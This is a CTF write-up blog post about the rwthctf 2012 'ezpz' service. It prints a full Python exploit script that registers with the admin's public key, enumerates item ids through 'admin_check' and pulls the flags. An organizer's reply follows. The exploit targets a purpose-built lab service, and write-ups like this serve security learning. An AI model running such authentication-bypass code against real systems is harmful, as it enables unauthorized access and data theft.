Skip to content

rwthctf 2012 ezpz write up

Yesterday we played the rwthctf 2012 and made the 3rd place :-) It was a nice ctf and good organized, so I want to take the time to say thank you to the organizers :-)

Ok, now to the important part. There was a service called ezpz which was a python service listened on tcp port 65432 on the IP 10.12.x.10. This was a really really buggy service and I think I wrote about 5 fixes for this service (and repaired them 10 times because they broke the service :-( ). Well the last exploit I wrote for this service was the one, which wasn't fixed so often. So here is the write up for this exploit.

Luckily for us, there was a ezclient.py in the source directory, so we do not have to bother with the protocol internals. The exploit made the following: get the public key of the service, register with this public key, get with admin_check all item ids and get with it all the flags. I don't know exactly which of this functions where unintended. Every time I tried to fix this vulnerability the service got broken. But it seemed that only one team (or none, it could be that this was the gameserver) used this exploit beside us. This team (or gameserver) used the count of 100 in the "admin_check" and I filtered for this (yeah, dirty fix, but I didn't know where to fix this) .... and of course the service got broken :/ So my guess was, that this was the gameserver all along. OK, here is the exploit:



#!/usr/bin/python
# -*- coding: utf8 -*-

import os
import sys
import random
import string
import socket
import pack
import re

import time
import binascii

BUFSIZ = 16 * 1024
EZ_REQ = 0
EZ_RES = 1

class Broken(Exception):
        pass

class ezclient(object):
        def __init__(self, ip):
                self.ip = ip
                self.s = None
                self.u = pack.U()
                self.p = pack.P()

        def write(self, data):
                self.s.sendall(data)

        def connect(self):
                self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.s.connect((self.ip, 65432))
                self.msgid = 1
                self.write('ezpzrpc client\n')
                self.recvbanner()

        def recvbanner(self):
                buf = ''
                while not '\n' in buf:
                        tmp = self.s.recv(BUFSIZ)
                        if not tmp: raise Broken('recv banner fail')
                        buf += tmp

                buf, rest = buf.split('\n', 1)
                if not 'ezpzrpc' in buf: raise Broken('banner fail')
                self.u.feed(rest)

        def getresponse(self, emsg):
                gotmsg = False
                buflen = 0
                result = None
                while not gotmsg:
                        try: d = self.s.recv(BUFSIZ)
                        except: raise Broken('recv fail')
                        if not d: raise Broken('premature close?')
                        self.u.feed(d)
                        buflen += len(d)
                        if buflen >= BUFSIZ * 10: raise Broken('too much data')
                        for msg in self.u:
                                if not type(msg) in (list, tuple) or len(msg) < 4: raise Broken('bad protocol msg')
                                gotmsg = True
                                if msg[0] != EZ_RES: raise Broken('msg is not a response')
                                rmsgid, error, result = msg[1:4]
                                if rmsgid == -1: print '-1:', error
                                if rmsgid != self.msgid: raise Broken('msgid failure')
                                if error: raise Broken(error)
                                break

                return result

        def call(self, fn, *params):
                req = [EZ_REQ, self.msgid, fn, params, 'foobar']
                self.write(self.p.pack(req))
                r = self.getresponse(fn)
                self.msgid += 1
                return r

def main():
        ip = sys.argv[1]
        cli = ezclient(ip)
        cli.connect()

        flags = []

        try:
                r = cli.call("whois")
        except:
                return
        pubkey = r

        time.sleep(1) # sleep because of "premature close?"
        payload = binascii.unhexlify(pubkey)
        try:
                r = cli.call("register", payload)
        except:
                return

        time.sleep(2) # sleep because of "premature close?"

        # admin_check, kw, count
        try:
                r = cli.call("admin_check", "item_", 100)
        except:
                return

        time.sleep(2) # sleep because of "premature close?"

        for elem in r:
                try:
                        flag = cli.call('get', elem[5:])
                except:
                        return
                if flag:
                        if re.match(r'([a-z0-9]{16})', flag):
                                print flag

                time.sleep(1) # sleep because of "premature close?"
        return 0

if __name__ == '__main__':
        try:
                sys.exit(main())
        except KeyboardInterrupt:
                pass
 



Unfortunately I don't copied the source of the service, so I can not show you the functions that this exploit used :-( Sorry for that. This exploit connected itself to the service and with the function call "whois" it got the public key of the "admin". Next it registered itself with the public key of the "admin" (the public key was sent in hex and register needed it plain, so it used unhexlify). Finally it used the function "admin_check" to get all entries with the key word "item_" (the flags were stored with the keyword regexp "item_.{8}") and used the keyword to get all flags via the "get" function. Because the service was so buggy it often terminated the connection when you send your payload too fast. So I placed some sleeps in it and it worked more stable.

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

rep on :

Hey, thanks for the writeup! Nice to hear that you guys had some fun!

Also of course the stability of the service should have been rather good - so I'm sorry that it felt "buggy" :-) - the bugs in there were only intended to be vulnerabilities, not actual usability bugs.

That being said - the checkscript did not use the admin_check function, so you could have patched it out without a problem. Thus I assume that the resulting checkscript errors were just bad coincidence or the result of some other attack. Also I don't rule out that you broke something else ;-)

Apart from that, nice exploit!

Cheers,
-Mark

The author does not allow comments to this entry

Add Comment

Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
Form options

Submitted comments will be subject to moderation before being displayed.